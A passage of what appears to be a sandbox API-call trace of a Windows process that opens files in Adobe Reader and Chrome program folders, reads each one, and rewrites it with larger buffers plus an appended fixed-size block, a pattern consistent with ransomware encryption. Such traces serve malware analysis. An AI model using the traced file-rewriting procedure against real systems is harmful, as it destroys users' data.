dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xccee7 [0046.268] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.268] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.268] ReleaseMutex (hMutex=0x128) returned 1 [0046.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP936.TXT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP936.TXT", cchWideChar=9, lpMultiByteStr=0x1e6322c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP936.TXT", lpUsedDefaultChar=0x0) returned 9 [0046.269] ReadFile (in: hFile=0x1ac, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0046.272] ReadFile (in: hFile=0x1ac, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.277] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xcbee7 [0046.277] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.287] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xcbee7 [0046.288] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.288] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0046.288] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.288] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.288] CloseHandle (hObject=0x1ac) returned 1 [0046.289] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1035.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1035.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.289] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1035.mst", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1035.mst", lpFilePart=0x32cf690*="1035.mst") returned 0x64 [0046.289] GetLastError () returned 0x5 [0046.289] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0046.289] LocalFree (hMem=0x70b5a8) returned 0x0 [0046.289] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.289] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0046.289] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0046.289] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0046.289] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1035.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1035.mst")) returned 0x21 [0046.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1048.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1048.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.290] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1048.mst", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1048.mst", lpFilePart=0x32cf690*="1048.mst") returned 0x64 [0046.290] GetLastError () returned 0x5 [0046.290] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0046.290] LocalFree (hMem=0x70b5a8) returned 0x0 [0046.290] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.290] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0046.290] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0046.290] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0046.290] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1048.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1048.mst")) returned 0x21 [0046.291] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\ABCPY.INI" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\abcpy.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.291] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\ABCPY.INI", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\ABCPY.INI", lpFilePart=0x32cf690*="ABCPY.INI") returned 0x65 [0046.291] GetLastError () returned 0x5 [0046.291] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0046.291] LocalFree (hMem=0x70b5a8) returned 0x0 [0046.291] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.291] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0046.291] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0046.291] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0046.291] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\ABCPY.INI" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\abcpy.ini")) returned 0x21 [0046.291] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.dll.sig"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.292] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.292] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x57f [0046.292] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.292] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.292] ReleaseMutex (hMutex=0x128) returned 1 [0046.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome.dll.sig", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0046.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome.dll.sig", cchWideChar=14, lpMultiByteStr=0x1e630cc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chrome.dll.sig", lpUsedDefaultChar=0x0) returned 14 [0046.292] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x57f, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x32cf2bc*=0x57f, lpOverlapped=0x0) returned 1 [0046.299] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0046.299] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c8e38*, nNumberOfBytesToWrite=0xb07, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c8e38*, lpNumberOfBytesWritten=0x32cf2d0*=0xb07, lpOverlapped=0x0) returned 1 [0046.299] CloseHandle (hObject=0x1ac) returned 1 [0046.300] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\extensions\\external_extensions.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.300] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.300] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x63 [0046.300] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.300] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.300] ReleaseMutex (hMutex=0x128) returned 1 [0046.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="external_extensions.json", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0046.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="external_extensions.json", cchWideChar=24, lpMultiByteStr=0x1e7faec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="external_extensions.json", lpUsedDefaultChar=0x0) returned 24 [0046.300] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df5d38, nNumberOfBytesToRead=0x63, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df5d38*, lpNumberOfBytesRead=0x32cf2bc*=0x63, lpOverlapped=0x0) returned 1 [0046.302] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0046.302] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5eb, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x5eb, lpOverlapped=0x0) returned 1 [0046.302] CloseHandle (hObject=0x1ac) returned 1 [0046.302] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\da.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.302] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.302] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x494f8 [0046.302] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.302] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.302] ReleaseMutex (hMutex=0x128) returned 1 [0046.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da.pak", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="da.pak", lpUsedDefaultChar=0x0) returned 6 [0046.303] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0046.307] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x484f8 [0046.307] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.314] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x484f8 [0046.315] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.315] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0046.315] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.315] CloseHandle (hObject=0x1ac) returned 1 [0046.315] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fil.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.315] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.315] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x51c09 [0046.315] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.316] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.316] ReleaseMutex (hMutex=0x128) returned 1 [0046.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fil.pak", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fil.pak", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fil.pak", lpUsedDefaultChar=0x0) returned 7 [0046.316] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0046.329] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x50c09 [0046.330] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.354] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x50c09 [0046.354] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0408*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0408*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.355] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0046.355] WriteFile (in: hFile=0x1ac, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.355] CloseHandle (hObject=0x1ac) returned 1 [0046.355] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\kn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\kn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.356] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.356] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xb6beb [0046.356] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.356] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.356] ReleaseMutex (hMutex=0x128) returned 1 [0046.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="kn.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="kn.pak", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kn.pak", lpUsedDefaultChar=0x0) returned 6 [0046.356] ReadFile (in: hFile=0x1ac, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0046.585] ReadFile (in: hFile=0x1ac, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.620] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xb5beb [0046.620] ReadFile (in: hFile=0x1ac, lpBuffer=0x2766f28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2766f28*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0046.654] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xb5beb [0046.654] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.658] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0046.658] WriteFile (in: hFile=0x1ac, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.658] WriteFile (in: hFile=0x1ac, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.658] CloseHandle (hObject=0x1ac) returned 1 [0046.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-BR.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pt-br.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.805] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.805] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4e63d [0046.805] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0046.805] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.805] ReleaseMutex (hMutex=0x128) returned 1 [0046.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt-BR.pak", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 